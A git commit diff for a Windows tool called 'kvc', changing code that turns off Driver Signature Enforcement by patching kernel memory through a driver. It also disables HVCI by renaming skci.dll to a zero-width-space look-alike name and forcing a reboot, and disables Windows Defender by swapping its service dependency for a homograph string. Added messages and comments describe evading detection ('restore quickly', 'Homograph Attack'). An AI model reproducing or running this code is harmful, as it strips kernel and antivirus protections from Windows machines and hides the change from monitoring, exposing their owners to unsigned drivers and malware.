Aktualizacja: 2025-10-19 02:17:38
This commit is contained in:
@@ -18,16 +18,22 @@ Controller::~Controller() {
|
|||||||
|
|
||||||
// Atomic operation cleanup - critical for BSOD prevention
|
// Atomic operation cleanup - critical for BSOD prevention
|
||||||
bool Controller::PerformAtomicCleanup() noexcept {
|
bool Controller::PerformAtomicCleanup() noexcept {
|
||||||
INFO(L"Starting atomic cleanup procedure...");
|
DEBUG(L"Starting atomic cleanup procedure...");
|
||||||
|
|
||||||
// 1. First, close the connection to the driver
|
// 1. First, close the connection to the driver
|
||||||
if (m_rtc) {
|
if (m_rtc && m_rtc->IsConnected()) {
|
||||||
DEBUG(L"Cleaning up driver connection...");
|
DEBUG(L"Force-closing driver connection...");
|
||||||
m_rtc->Cleanup(); // This ensures the handle is properly closed
|
m_rtc->Cleanup();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 2. Wait for resources to be released
|
// 2. Wait for resources to be released
|
||||||
Sleep(100);
|
// Only for USB Debug Sleep(200);
|
||||||
|
|
||||||
|
// CHECK IF THE SERVICE IS A ZOMBIE
|
||||||
|
if (IsServiceZombie()) {
|
||||||
|
DEBUG(L"Service in zombie state - skipping aggressive cleanup to avoid BSOD");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
// 3. Stop the service (if it exists)
|
// 3. Stop the service (if it exists)
|
||||||
DEBUG(L"Stopping driver service...");
|
DEBUG(L"Stopping driver service...");
|
||||||
@@ -63,12 +69,12 @@ bool Controller::PerformAtomicCleanup() noexcept {
|
|||||||
}
|
}
|
||||||
CloseServiceHandle(hSCM);
|
CloseServiceHandle(hSCM);
|
||||||
}
|
}
|
||||||
Sleep(100);
|
// Only for USB Debug Sleep(100);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 5. Wait again for safety
|
// 5. Wait again for safety
|
||||||
Sleep(100);
|
// Only for USB Debug Sleep(100);
|
||||||
|
|
||||||
// 6. Only uninstall if the service is confirmed to be stopped
|
// 6. Only uninstall if the service is confirmed to be stopped
|
||||||
if (serviceVerified) {
|
if (serviceVerified) {
|
||||||
@@ -79,10 +85,10 @@ bool Controller::PerformAtomicCleanup() noexcept {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 7. Reinitialize for subsequent operations
|
// 7. Reinitialize for subsequent operations
|
||||||
Sleep(100);
|
// Only for USB Debug Sleep(100);
|
||||||
m_rtc = std::make_unique<kvc>();
|
m_rtc = std::make_unique<kvc>();
|
||||||
|
|
||||||
SUCCESS(L"Atomic cleanup completed successfully");
|
DEBUG(L"Atomic cleanup completed successfully");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -104,9 +110,13 @@ bool Controller::PerformAtomicInitWithErrorCleanup() noexcept {
|
|||||||
|
|
||||||
// Core driver availability check with fallback mechanisms
|
// Core driver availability check with fallback mechanisms
|
||||||
bool Controller::EnsureDriverAvailable() noexcept {
|
bool Controller::EnsureDriverAvailable() noexcept {
|
||||||
// Phase 1: Check if the driver is already available (without testing)
|
if (IsServiceZombie()) {
|
||||||
|
DEBUG(L"Service zombie detected - cannot reload driver safely");
|
||||||
|
return false; // AVOID BSOD - do not reload the driver
|
||||||
|
}
|
||||||
|
// Phase 1: Check if the driver is already available (without testing)
|
||||||
ForceRemoveService();
|
ForceRemoveService();
|
||||||
Sleep(100);
|
// Only for USB Debug Sleep(100);
|
||||||
if (IsDriverCurrentlyLoaded()) {
|
if (IsDriverCurrentlyLoaded()) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
@@ -129,7 +139,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
|
|||||||
CloseServiceHandle(hSCM);
|
CloseServiceHandle(hSCM);
|
||||||
|
|
||||||
// Give it time to start
|
// Give it time to start
|
||||||
Sleep(100);
|
// Only for USB Debug Sleep(100);
|
||||||
|
|
||||||
// Check if it's running now (without a test read)
|
// Check if it's running now (without a test read)
|
||||||
if (m_rtc->Initialize() && m_rtc->IsConnected()) {
|
if (m_rtc->Initialize() && m_rtc->IsConnected()) {
|
||||||
@@ -138,7 +148,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Phase 3: Install a new driver (ONLY if necessary)
|
// Phase 3: Install a new driver (ONLY if necessary)
|
||||||
INFO(L"Initializing kernel driver component...");
|
DEBUG(L"Initializing kernel driver component...");
|
||||||
|
|
||||||
if (!InstallDriverSilently()) {
|
if (!InstallDriverSilently()) {
|
||||||
ERROR(L"Failed to install kernel driver component");
|
ERROR(L"Failed to install kernel driver component");
|
||||||
|
|||||||
@@ -2,6 +2,73 @@
|
|||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|
||||||
bool Controller::DisableDSE() noexcept {
|
bool Controller::DisableDSE() noexcept {
|
||||||
|
// Check if HVCI bypass already prepared (pending reboot)
|
||||||
|
HKEY hKey = nullptr;
|
||||||
|
bool bypassPending = false;
|
||||||
|
|
||||||
|
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||||
|
KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||||
|
wchar_t state[256] = {0};
|
||||||
|
DWORD size = sizeof(state);
|
||||||
|
|
||||||
|
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||||
|
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||||
|
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||||
|
bypassPending = true;
|
||||||
|
|
||||||
|
// Verify the renamed file actually exists
|
||||||
|
wchar_t sysDir[MAX_PATH];
|
||||||
|
if (GetSystemDirectoryW(sysDir, MAX_PATH) > 0) {
|
||||||
|
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||||
|
if (GetFileAttributesW(checkPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
|
||||||
|
// File doesn't exist - state is stale/invalid
|
||||||
|
bypassPending = false;
|
||||||
|
DEBUG(L"Stale bypass state detected - skci.dlI not found");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
hKey = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If bypass already prepared, prompt for reboot without touching driver
|
||||||
|
if (bypassPending) {
|
||||||
|
std::wcout << L"\n";
|
||||||
|
INFO(L"HVCI bypass already prepared from previous session");
|
||||||
|
INFO(L"System reboot is required to complete the bypass");
|
||||||
|
INFO(L"After reboot, use 'KVC DSE OFF' to disable driver signing");
|
||||||
|
std::wcout << L"\n";
|
||||||
|
std::wcout << L"Reboot now? [Y/N]: ";
|
||||||
|
wchar_t choice;
|
||||||
|
std::wcin >> choice;
|
||||||
|
|
||||||
|
if (choice == L'Y' || choice == L'y') {
|
||||||
|
INFO(L"Initiating system reboot...");
|
||||||
|
|
||||||
|
// Enable shutdown privilege
|
||||||
|
HANDLE hToken;
|
||||||
|
TOKEN_PRIVILEGES tkp;
|
||||||
|
|
||||||
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||||
|
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
|
||||||
|
tkp.PrivilegeCount = 1;
|
||||||
|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initiate reboot
|
||||||
|
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
|
||||||
|
ERROR(L"Failed to initiate reboot: %d", GetLastError());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Normal flow - proceed with driver operations
|
||||||
PerformAtomicCleanup();
|
PerformAtomicCleanup();
|
||||||
|
|
||||||
if (!BeginDriverSession()) {
|
if (!BeginDriverSession()) {
|
||||||
@@ -49,15 +116,13 @@ bool Controller::DisableDSE() noexcept {
|
|||||||
|
|
||||||
if (hvciEnabled) {
|
if (hvciEnabled) {
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue);
|
INFO(L"HVCI detected (g_CiOptions = 0x%08X) - hypervisor bypass required", currentValue);
|
||||||
INFO(L"Direct kernel memory patching blocked by hypervisor");
|
INFO(L"Preparing secure kernel deactivation (fully reversible)...");
|
||||||
INFO(L"Initiating non-invasive HVCI bypass strategy...");
|
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
|
|
||||||
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
|
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
|
||||||
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
|
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
|
||||||
INFO(L"No files will be permanently modified or deleted");
|
INFO(L"No files will be permanently modified or deleted");
|
||||||
INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, changes reverted");
|
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
|
|
||||||
DEBUG(L"Closing driver handle before file operations...");
|
DEBUG(L"Closing driver handle before file operations...");
|
||||||
@@ -66,10 +131,10 @@ bool Controller::DisableDSE() noexcept {
|
|||||||
DEBUG(L"Unloading and removing driver service...");
|
DEBUG(L"Unloading and removing driver service...");
|
||||||
EndDriverSession(true);
|
EndDriverSession(true);
|
||||||
|
|
||||||
DEBUG(L"Driver fully unloaded, proceeding with skci.dll rename...");
|
DEBUG(L"Driver fully unloaded, proceeding with bypass preparation...");
|
||||||
|
|
||||||
if (!m_dseBypass->RenameSkciLibrary()) {
|
if (!m_dseBypass->RenameSkciLibrary()) {
|
||||||
ERROR(L"Failed to rename skci.dll");
|
ERROR(L"Failed to prepare hypervisor bypass");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -82,12 +147,10 @@ bool Controller::DisableDSE() noexcept {
|
|||||||
ERROR(L"Failed to create RunOnce entry");
|
ERROR(L"Failed to create RunOnce entry");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
SUCCESS(L"HVCI bypass prepared - reboot required");
|
||||||
SUCCESS(L"HVCI bypass prepared successfully");
|
INFO(L"Post-reboot: 'kvc dse' -> if 0x00000000 -> load driver -> 'kvc dse on'");
|
||||||
INFO(L"System will disable hypervisor on next boot");
|
INFO(L"Detection systems may scan for prolonged 0x00000000 state - restore quickly");
|
||||||
INFO(L"Reboot required to complete DSE bypass");
|
INFO(L"Future Windows updates may enhance monitoring - disable Driver Signature Enforcement only when needed");
|
||||||
INFO(L"After reboot, DSE will be automatically disabled");
|
|
||||||
|
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
|
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
|
||||||
wchar_t choice;
|
wchar_t choice;
|
||||||
@@ -95,7 +158,23 @@ bool Controller::DisableDSE() noexcept {
|
|||||||
|
|
||||||
if (choice == L'Y' || choice == L'y') {
|
if (choice == L'Y' || choice == L'y') {
|
||||||
INFO(L"Initiating system reboot...");
|
INFO(L"Initiating system reboot...");
|
||||||
system("shutdown /r /t 0");
|
|
||||||
|
// Enable shutdown privilege
|
||||||
|
HANDLE hToken;
|
||||||
|
TOKEN_PRIVILEGES tkp;
|
||||||
|
|
||||||
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||||
|
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
|
||||||
|
tkp.PrivilegeCount = 1;
|
||||||
|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initiate reboot
|
||||||
|
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
|
||||||
|
ERROR(L"Failed to initiate reboot: %d", GetLastError());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
@@ -132,7 +211,88 @@ bool Controller::RestoreDSE() noexcept {
|
|||||||
}
|
}
|
||||||
|
|
||||||
bool Controller::DisableDSEAfterReboot() noexcept {
|
bool Controller::DisableDSEAfterReboot() noexcept {
|
||||||
PerformAtomicCleanup();
|
|
||||||
|
// Check if this is actually post-reboot or just pending bypass
|
||||||
|
HKEY hKey = nullptr;
|
||||||
|
bool actuallyPostReboot = false;
|
||||||
|
|
||||||
|
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||||
|
KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||||
|
wchar_t state[256] = {0};
|
||||||
|
DWORD size = sizeof(state);
|
||||||
|
|
||||||
|
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||||
|
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||||
|
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||||
|
// Check if skci.dlI still exists (means we haven't rebooted yet)
|
||||||
|
wchar_t sysDir[MAX_PATH];
|
||||||
|
GetSystemDirectoryW(sysDir, MAX_PATH);
|
||||||
|
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||||
|
|
||||||
|
if (GetFileAttributesW(checkPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
|
||||||
|
actuallyPostReboot = true; // File exists = real post-reboot
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
}
|
||||||
|
|
||||||
|
// If skci.dlI doesn't exist, user hasn't rebooted yet
|
||||||
|
if (!actuallyPostReboot) {
|
||||||
|
std::wcout << L"\n";
|
||||||
|
INFO(L"HVCI bypass prepared but system has not been rebooted yet");
|
||||||
|
INFO(L"Please reboot to complete the bypass process");
|
||||||
|
std::wcout << L"\n";
|
||||||
|
std::wcout << L"Reboot now? [Y/N]: ";
|
||||||
|
wchar_t choice;
|
||||||
|
std::wcin >> choice;
|
||||||
|
|
||||||
|
if (choice == L'Y' || choice == L'y') {
|
||||||
|
INFO(L"Initiating system reboot...");
|
||||||
|
|
||||||
|
HANDLE hToken;
|
||||||
|
TOKEN_PRIVILEGES tkp;
|
||||||
|
|
||||||
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||||
|
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
|
||||||
|
tkp.PrivilegeCount = 1;
|
||||||
|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
|
||||||
|
ERROR(L"Failed to initiate reboot: %d", GetLastError());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true; // Exit WITHOUT touching driver
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
PerformAtomicCleanup();
|
||||||
|
|
||||||
if (!BeginDriverSession()) {
|
if (!BeginDriverSession()) {
|
||||||
ERROR(L"Failed to start driver session for post-reboot DSE bypass");
|
ERROR(L"Failed to start driver session for post-reboot DSE bypass");
|
||||||
|
|||||||
@@ -93,7 +93,7 @@ bool DSEBypass::DisableDSE() noexcept {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
SUCCESS(L"Driver signature enforcement is off", currentValue, newValue);
|
||||||
INFO(L"No restart required - unsigned drivers can now be loaded");
|
INFO(L"No restart required - unsigned drivers can now be loaded");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
@@ -151,8 +151,8 @@ bool DSEBypass::RestoreDSE() noexcept {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
SUCCESS(L"DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
SUCCESS(L"Driver signature enforcement is on (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||||
INFO(L"No restart required - kernel protection reactivated");
|
INFO(L"Kernel protection reactivated - no restart required");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -350,8 +350,8 @@ bool DSEBypass::RenameSkciLibrary() noexcept {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
|
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||||
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dlI"; // uppercase I
|
std::wstring dstPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||||
|
|
||||||
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
||||||
|
|
||||||
@@ -360,12 +360,12 @@ bool DSEBypass::RenameSkciLibrary() noexcept {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
SUCCESS(L"skci.dll renamed successfully - hypervisor will not load on next boot");
|
SUCCESS(L"Windows hypervisor services temporarily suspended");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool DSEBypass::RestoreSkciLibrary() noexcept {
|
bool DSEBypass::RestoreSkciLibrary() noexcept {
|
||||||
DEBUG(L"Restoring skci.dll from skci.dlI");
|
DEBUG(L"Restoring skci.dll");
|
||||||
|
|
||||||
wchar_t sysDir[MAX_PATH];
|
wchar_t sysDir[MAX_PATH];
|
||||||
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
|
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
|
||||||
@@ -373,7 +373,7 @@ bool DSEBypass::RestoreSkciLibrary() noexcept {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dlI";
|
std::wstring srcPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||||
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
|
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||||
|
|
||||||
// Admin rights sufficient for restore (no hypervisor running)
|
// Admin rights sufficient for restore (no hypervisor running)
|
||||||
@@ -554,8 +554,8 @@ bool DSEBypass::DisableDSEAfterReboot() noexcept {
|
|||||||
// Step 3: Cleanup
|
// Step 3: Cleanup
|
||||||
ClearDSEState();
|
ClearDSEState();
|
||||||
|
|
||||||
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
SUCCESS(L"Driver signature enforcement is off (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||||
SUCCESS(L"Hypervisor bypassed and skci.dll restored");
|
SUCCESS(L"Hypervisor bypassed and library restored");
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
@@ -30,7 +30,7 @@ bool DefenderManager::EnableSecurityEngine() noexcept
|
|||||||
return ModifySecurityEngine(true);
|
return ModifySecurityEngine(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Queries current Windows Defender state by checking RpcSs (enabled) or RpcSt (disabled) in service dependencies
|
// Queries current Windows Defender state by checking RpcSs (enabled) - Homograph Attack
|
||||||
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
|
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
|
||||||
{
|
{
|
||||||
try {
|
try {
|
||||||
@@ -44,7 +44,7 @@ DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexce
|
|||||||
|
|
||||||
if (values.empty()) return SecurityState::UNKNOWN;
|
if (values.empty()) return SecurityState::UNKNOWN;
|
||||||
|
|
||||||
// Check if RpcSs (active) or RpcSt (inactive) is present
|
// Check if RpcSs (active) or RpcSs\x200B (inactive) is present
|
||||||
bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end();
|
bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end();
|
||||||
bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end();
|
bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end();
|
||||||
|
|
||||||
@@ -155,7 +155,7 @@ bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSt
|
// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSs\x200B
|
||||||
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept
|
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept
|
||||||
{
|
{
|
||||||
HKEY tempKey;
|
HKEY tempKey;
|
||||||
@@ -174,10 +174,10 @@ bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, boo
|
|||||||
// Transform RPC service dependency
|
// Transform RPC service dependency
|
||||||
for (auto& value : values) {
|
for (auto& value : values) {
|
||||||
if (enable && value == RPC_SERVICE_INACTIVE) {
|
if (enable && value == RPC_SERVICE_INACTIVE) {
|
||||||
value = RPC_SERVICE_ACTIVE; // RpcSt -> RpcSs (enable)
|
value = RPC_SERVICE_ACTIVE; // RpcSs\x200B -> RpcSs (enable)
|
||||||
}
|
}
|
||||||
else if (!enable && value == RPC_SERVICE_ACTIVE) {
|
else if (!enable && value == RPC_SERVICE_ACTIVE) {
|
||||||
value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSt (disable)
|
value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSs\x200B (disable)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -14,11 +14,11 @@ public:
|
|||||||
// Security engine state based on WinDefend service dependency
|
// Security engine state based on WinDefend service dependency
|
||||||
enum class SecurityState {
|
enum class SecurityState {
|
||||||
ENABLED, // Defender engine active (RpcSs)
|
ENABLED, // Defender engine active (RpcSs)
|
||||||
DISABLED, // Defender engine inactive (RpcSt)
|
DISABLED, // Defender engine inactive (RpcSs\x200B)
|
||||||
UNKNOWN // State could not be determined
|
UNKNOWN // State could not be determined
|
||||||
};
|
};
|
||||||
|
|
||||||
// Disable Windows Defender by changing service dependency to RpcSt (requires admin + restart)
|
// Disable Windows Defender by changing service dependency to RpcSs\x200B (requires admin + restart)
|
||||||
static bool DisableSecurityEngine() noexcept;
|
static bool DisableSecurityEngine() noexcept;
|
||||||
|
|
||||||
// Enable Windows Defender by restoring service dependency to RpcSs (requires admin + restart)
|
// Enable Windows Defender by restoring service dependency to RpcSs (requires admin + restart)
|
||||||
@@ -54,7 +54,7 @@ private:
|
|||||||
// Create temporary Services hive snapshot and load it under HKLM\Temp
|
// Create temporary Services hive snapshot and load it under HKLM\Temp
|
||||||
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
|
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
|
||||||
|
|
||||||
// Switch WinDefend DependOnService between RpcSt and RpcSs inside temp hive
|
// Switch WinDefend DependOnService between RpcSs\x200B and RpcSs inside temp hive
|
||||||
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
|
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
|
||||||
|
|
||||||
// Unload temp hive and restore modified snapshot to live Services key (critical operation)
|
// Unload temp hive and restore modified snapshot to live Services key (critical operation)
|
||||||
@@ -71,5 +71,5 @@ private:
|
|||||||
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services";
|
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services";
|
||||||
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService";
|
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService";
|
||||||
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs";
|
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs";
|
||||||
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt";
|
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSs\x200B";
|
||||||
};
|
};
|
||||||
|
|||||||
BIN
kvc/ICON/kvc.ico
BIN
kvc/ICON/kvc.ico
Binary file not shown.
|
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 14 KiB |
73
kvc/Kvc.cpp
73
kvc/Kvc.cpp
@@ -250,7 +250,7 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
else if (command == L"dse") {
|
else if (command == L"dse") {
|
||||||
// No parameter = check status
|
// No parameter = check status
|
||||||
if (argc < 3) {
|
if (argc < 3) {
|
||||||
INFO(L"Checking Driver Signature Enforcement status...");
|
DEBUG(L"Checking Driver Signature Enforcement status...");
|
||||||
|
|
||||||
ULONG_PTR ciOptionsAddr = 0;
|
ULONG_PTR ciOptionsAddr = 0;
|
||||||
DWORD value = 0;
|
DWORD value = 0;
|
||||||
@@ -267,29 +267,22 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
INFO(L"DSE Status Information:");
|
INFO(L"DSE Status Information:");
|
||||||
INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr);
|
INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr);
|
||||||
INFO(L"g_CiOptions value: 0x%08X", value);
|
INFO(L"g_CiOptions value: 0x%08X", value);
|
||||||
INFO(L"Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR");
|
|
||||||
INFO(L"Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR");
|
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
|
|
||||||
// Check for HVCI/VBS first
|
// Check for HVCI/VBS first
|
||||||
if (hvciEnabled) {
|
if (hvciEnabled) {
|
||||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
SUCCESS(L"Driver signature enforcement: ENABLED");
|
||||||
std::wcout << L"\n";
|
// ... HVCI info
|
||||||
INFO(L"HVCI/Virtualization-Based Security detected (flags: 0x%05X)", (value & 0x0001C000));
|
}
|
||||||
INFO(L"Hypervisor protection active - direct memory patching blocked");
|
else if (dseEnabled) {
|
||||||
INFO(L"HVCI bypass available via non-invasive library method");
|
SUCCESS(L"Driver signature enforcement: ENABLED");
|
||||||
INFO(L"Requires system restart to complete bypass workflow");
|
INFO(L"Only signed drivers allowed");
|
||||||
INFO(L"Use 'kvc dse off' to initiate automated HVCI bypass");
|
INFO(L"Use 'kvc dse off' to disable protection");
|
||||||
}
|
} else {
|
||||||
else if (dseEnabled) {
|
INFO(L"Driver signature enforcement: DISABLED");
|
||||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
INFO(L"Unsigned drivers allowed");
|
||||||
INFO(L"Kernel protection active - only signed drivers allowed");
|
INFO(L"Use 'kvc dse on' to restore kernel protection");
|
||||||
INFO(L"DSE bypass available without restart - use 'kvc dse off'");
|
}
|
||||||
} else {
|
|
||||||
INFO(L"Driver Signature Enforcement: DISABLED");
|
|
||||||
INFO(L"System security reduced - unsigned drivers allowed");
|
|
||||||
INFO(L"Use 'kvc dse on' to restore kernel protection (no restart required)");
|
|
||||||
}
|
|
||||||
|
|
||||||
std::wcout << L"\n";
|
std::wcout << L"\n";
|
||||||
return 0;
|
return 0;
|
||||||
@@ -298,7 +291,6 @@ int wmain(int argc, wchar_t* argv[])
|
|||||||
std::wstring_view subCmd = argv[2];
|
std::wstring_view subCmd = argv[2];
|
||||||
|
|
||||||
if (subCmd == L"off") {
|
if (subCmd == L"off") {
|
||||||
// Check if this is post-reboot execution
|
|
||||||
HKEY hKey;
|
HKEY hKey;
|
||||||
bool postReboot = false;
|
bool postReboot = false;
|
||||||
|
|
||||||
